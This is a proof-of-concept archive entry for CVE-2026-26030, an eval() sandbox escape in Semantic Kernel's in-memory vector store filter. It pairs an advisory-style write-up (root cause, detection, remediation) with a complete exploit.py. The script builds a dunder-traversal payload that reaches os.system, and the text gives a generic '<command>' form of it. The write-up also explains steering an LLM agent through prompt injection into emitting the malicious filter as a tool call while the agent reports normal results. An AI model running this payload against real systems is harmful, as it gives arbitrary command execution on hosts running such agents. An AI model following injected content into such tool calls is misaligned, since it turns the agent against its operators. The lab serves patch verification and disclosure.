PoC Archive PoC Archive
Critical CVE-2026-26030 patched

Microsoft Semantic Kernel In-Memory Vector Store Filter eval() Sandbox Bypass RCE (CVE-2026-26030)

by InertFluid · 2026-07-05

Severity
Critical
CVE
CVE-2026-26030
Category
misc
Affected product
Microsoft Semantic Kernel (Python), InMemoryCollection vector store connector
Affected versions
< 1.39.4 (fixed in 1.39.4)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / ResearcherInertFluid
CVE / AdvisoryCVE-2026-26030
Categorymisc
SeverityCritical
CVSS ScoreNot specified in source
StatusWeaponized
Tagssemantic-kernel, python, eval-injection, sandbox-bypass, prompt-injection, llm-agent, rce, ast-allowlist-bypass, vector-store
RelatedN/A

Affected Target

FieldValue
Software / SystemMicrosoft Semantic Kernel (Python), InMemoryCollection vector store connector
Versions Affected< 1.39.4 (fixed in 1.39.4)
Language / PlatformPython 3.13, LLM agent framework (Semantic Kernel + optional Groq-hosted LLM demo)
Authentication RequiredNo (exploited indirectly via prompt injection into an LLM agent)
Network Access RequiredNo for the headless lab PoC (local); Yes for the live agent demo (LLM API + local web UI)

Summary

CVE-2026-26030 is a sandbox-bypass remote code execution vulnerability in Semantic Kernel’s in-memory vector store search filter evaluation. Agents that expose a search/query tool backed by InMemoryCollection let the LLM emit a filter expression string (e.g. lambda x: x.team == 'platform'), which is compiled and evaluated by _parse_and_validate_filter() in connectors/in_memory.py. That function empties __builtins__ and applies an AST node allowlist, intending to prevent arbitrary code execution — but two gaps break the sandbox: unrestricted ast.Attribute access allows dunder-attribute traversal (().__class__.__base__.__subclasses__), and the ast.Call name-check only inspects func when it’s a Name or Attribute node, silently skipping the check when func is a Subscript (which is itself allowlisted). Chaining [obj.method][0](args)-style calls lets an attacker walk to BuiltinImporter, load_module('os'), and os.system(), achieving code execution whenever a filter string an LLM was steered into emitting (via direct user prompt or injected retrieved content) reaches this code path. The repository is a full, runnable lab: isolated venvs for the vulnerable (1.39.3) and patched (1.39.4) versions, a headless exploit script, a validator-only probe, and an optional live FastAPI + LLM agent demo that opens a harmless “ransom note” file to visually confirm RCE end-to-end.


Vulnerability Details

Root Cause

_parse_and_validate_filter() combines an AST node allowlist with an emptied __builtins__ dict before calling compile()/eval() on the filter string, but the allowlist does not restrict ast.Attribute access and only validates callee names for Name/Attribute call targets — leaving Subscript-wrapped calls and dunder attribute chains (__class__, __base__, __subclasses__) completely unchecked.

Attack Vector

  1. An LLM agent exposes a tool (e.g. search_runbooks(team)) that queries an InMemoryCollection using a filter string the model constructs from conversation context.
  2. An attacker influences that filter string via a direct prompt or via injected text in retrieved/tool content (prompt injection), steering the model into emitting a malicious filter such as lambda x: [[[().__class__.__base__.__subclasses__][0]()[N].load_module][0]('os').system][0]('<command>').
  3. The filter string reaches InMemoryCollection._get_filtered_records(), which calls _parse_and_validate_filter(); the allowlist passes the payload because every call site is wrapped in an allowlisted Subscript.
  4. eval() executes the compiled lambda, which walks object.__subclasses__() to BuiltinImporter, imports os, and calls os.system(cmd) — arbitrary command execution as the process’s user, invisibly to the agent, which still reports normal “search results” to the LLM/user.

Impact

Unauthenticated (from the attacker’s perspective — driven purely through prompt injection) arbitrary OS command execution in any process embedding a Semantic Kernel agent with an InMemoryCollection-backed search tool and attacker-influenceable filter input.


Environment / Lab Setup

Target:   semantic-kernel == 1.39.3 (vulnerable) vs. 1.39.4 (patched), Python 3.13 venvs
Attacker: bash, python3.13, pip; optional: Groq API key (free tier) for the live LLM agent demo

Proof of Concept

PoC Script

See exploit.py, probe.py, find_sink.py, setup.sh, run.sh, and demo-ui/ (app.py, run_filter.py, run.sh, index.html) in this folder.

1
2
3
4
5
./setup.sh        # builds two isolated venvs: vulnerable (1.39.3) and patched (1.39.4)
./run.sh          # runs the same payload against both venvs (headless PoC)

echo 'GROQ_API_KEY=gsk_...' > demo-ui/.env
./demo-ui/run.sh  # http://127.0.0.1:8000

setup.sh builds two Python 3.13 virtualenvs pinned to the vulnerable and patched Semantic Kernel releases. run.sh executes exploit.py against both: on the vulnerable venv it upserts sample records into an InMemoryCollection, runs a benign filter, then the malicious dunder-traversal filter, and confirms RCE CONFIRMED when the marker file /tmp/pwned_by_filter is created by os.system; on the patched venv the same payload is rejected with a __subclasses__ ... is not allowed error. probe.py isolates just the validator/eval call for minimal reproduction. The optional demo-ui/ FastAPI app wires the same vulnerable filter path into a real Groq-hosted LLM agent chat UI, where a prompt-injected message triggers the tool call and pops a harmless ransom-note file to demonstrate real-world agent exploitation.


Detection & Indicators of Compromise

Signs of compromise:

  • Search/filter tool inputs or logged LLM tool-call arguments containing dunder-attribute chains or nested subscript-call patterns
  • Agent process spawning shell commands with no corresponding legitimate business logic
  • Marker/artifact files (or worse, real payloads) appearing in the agent host’s filesystem shortly after a tool invocation

Remediation

ActionDetail
Primary fixUpgrade to semantic-kernel >= 1.39.4, which adds a dangerous-attribute blocklist (blocking __subclasses__ and similar) on top of the existing AST allowlist
Interim mitigationDo not let LLM-generated or user/content-influenced strings reach eval()/compile() at all; if unavoidable, use a closed grammar instead of a node allowlist with open attribute access, and isolate the evaluating worker (seccomp, no network, unprivileged user)

References


Notes

Mirrored from https://github.com/InertFluid/sk-cve-2026-26030-lab on 2026-07-05.

exploit.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
"""CVE-2026-26030 — Semantic Kernel in-memory vector store filter eval() RCE.

Realistic agent flow: an agent exposes a runbook-search tool backed by an
InMemoryCollection. The LLM emits a *filter expression* string from the
conversation (e.g. a user asking for the platform team's runbooks). That string
is attacker-influenceable — via the user prompt or via injected text in retrieved
content — and flows into InMemoryCollection._parse_and_validate_filter, which
compile()s and eval()s it.

1.39.3 guards the eval with an AST allowlist, but:
  * ast.Attribute access is entirely unrestricted (no dunder blocklist), and
  * the Call name-check only inspects func when it is a Name/Attribute. When
    func is a Subscript (allowlisted), func_name stays None and the check is
    SKIPPED. So `[obj.method][0](args)` calls anything.
Chaining those: dunder-walk object.__subclasses__ -> BuiltinImporter ->
load_module('os') -> system(cmd). All as unprivileged code execution.

Payload is harmless: it writes a marker file. Runs in an isolated venv.
"""
import os
from typing import Annotated
from dataclasses import dataclass
import asyncio

from semantic_kernel.data.vector import vectorstoremodel, VectorStoreField, VectorSearchOptions
from semantic_kernel.connectors.in_memory import InMemoryCollection
import semantic_kernel

MARKER = "/tmp/pwned_by_filter"


@vectorstoremodel
@dataclass
class Runbook:
    doc_id: Annotated[str, VectorStoreField("key")]
    team: Annotated[str, VectorStoreField("data")]
    vector: Annotated[list[float] | None, VectorStoreField("vector", dimensions=2)] = None


def build_payload() -> str:
    """The string an attacker steers the model into emitting as a 'filter'."""
    subs = ().__class__.__base__.__subclasses__()
    idx = next(i for i, c in enumerate(subs) if c.__name__ == "BuiltinImporter")
    return (
        "lambda x: "
        f"[[[().__class__.__base__.__subclasses__][0]()[{idx}].load_module][0]('os').system][0]"
        f"('touch {MARKER}')"
    )


async def main() -> None:
    print(f"[*] semantic-kernel {semantic_kernel.__version__}  (running as uid={os.getuid()})")
    if os.path.exists(MARKER):
        os.remove(MARKER)

    col = InMemoryCollection(record_type=Runbook, collection_name="runbooks")
    await col.ensure_collection_exists()
    await col.upsert([Runbook("rb1", "platform", [0.1, 0.2]), Runbook("rb2", "security", [0.3, 0.4])])

    # Benign use: the legitimate filter the agent normally builds.
    benign = "lambda x: x.team == 'platform'"
    hits = col._get_filtered_records(VectorSearchOptions(filter=benign))
    print(f"[*] benign filter {benign!r} -> matched {list(hits.keys())}")

    # Malicious use: same code path, attacker-controlled filter string.
    payload = build_payload()
    print(f"\n[!] attacker-supplied filter:\n    {payload}\n")
    try:
        col._get_filtered_records(VectorSearchOptions(filter=payload))
    except Exception as e:
        print(f"[-] filter rejected: {type(e).__name__}: {e}")

    if os.path.exists(MARKER):
        print(f"[+] RCE CONFIRMED — search filter executed os.system; {MARKER} created")
    else:
        print(f"[-] not exploited — {MARKER} absent (expected on patched builds >= 1.39.4)")


if __name__ == "__main__":
    asyncio.run(main())